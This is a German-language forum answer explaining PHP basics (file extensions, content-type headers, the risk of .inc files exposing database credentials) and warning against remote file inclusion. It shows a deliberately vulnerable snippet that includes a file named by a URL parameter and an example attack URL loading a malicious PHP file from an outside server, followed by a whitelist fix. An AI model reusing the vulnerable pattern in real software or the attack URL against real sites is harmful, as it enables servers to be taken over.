Andavos: Grundverständnisfragen

Beitrag lesen

Hallo,

Sobald irgendwo in meinem HTML-Dokument PHP-Code auftaucht muss ich die Datei als .php speichern.

Wenn du möchtest das der PHP Script ausgeführt wird, ja.

Dann heißt meine Startseite index.php. Sollte die Startseite nicht besser als index.html gespeichert sein

Nein

oder erkennt jeder Browser PHP?

Also der PHP Script sendet dem Browser den Header(Dateiart) zu, sofern man diesen nicht manuell geändert hat, dass die Ausgabe im Text/HTML Format geschieht.
Jeder normale Browser weiß, dass er Dateien die den Header Text/HTML hat, anzeigen soll.
Ändert man den Header manuell mit der Funktion header(); so kann man z.B. die Ausgabe auch als Download oder als Bild an den Browser senden.
Andere Dateien, z.B. mit exotischen Endungen (z.B. index.andavos) können auch als Text/HTML Angezeigt werden, wenn diese Datei als Header Text/HTML sendet.

-   Ist .inc ok?

Jein. Also man kann auch PHP Dateien includen, in denen z.B. Zugangsdaten (z.B. zur Datenbank) liegen.
Da der User den Inhalt von .php Dateien normalerweise nicht auslesen können, sind diese gut darin aufgehoben.
Allerdings wenn sie jetzt die zugang.inc direkt aufrufen, wird der PHP Code nicht ausgeführt, sondern an den User gesendet.
Somit erhält er den PHP Code und auch die Zugangsdaten.

Wichtig:
Niemals per URL die Datei die geladen werden soll bestimmen lassen.

Bsp:
<?php
$datei = $_GET["datei"];
include("$datei");
?>

Dann kann ich z.B. in der URL folgendes eingeben:
index.php?datei=http://mein-server.de/boese_datei.php

Dann lädt er von meinem Server die boese_datei.php und weil diese PHP Code enthält (wenn er vorher nicht von mein-server.de interpretiert wurde), interpretiert er diese auch.
Dieser PHP Code kann z.B. alle Dateien auf deinem Server löschen.

Darum lieber den Script so basteln:

<?php
$datei[] = "index.php";
$datei[] = "beispiel.php";
$datei[] = "text.php";

$id = $_GET["id"];
include($datei[$id]);
?>

So kann ein Angreifer keine fremde Dateien laden, sondern nur die Vorgegebenen.
Das geht natürlich auch mit einer Datenbank

MFG
Andavos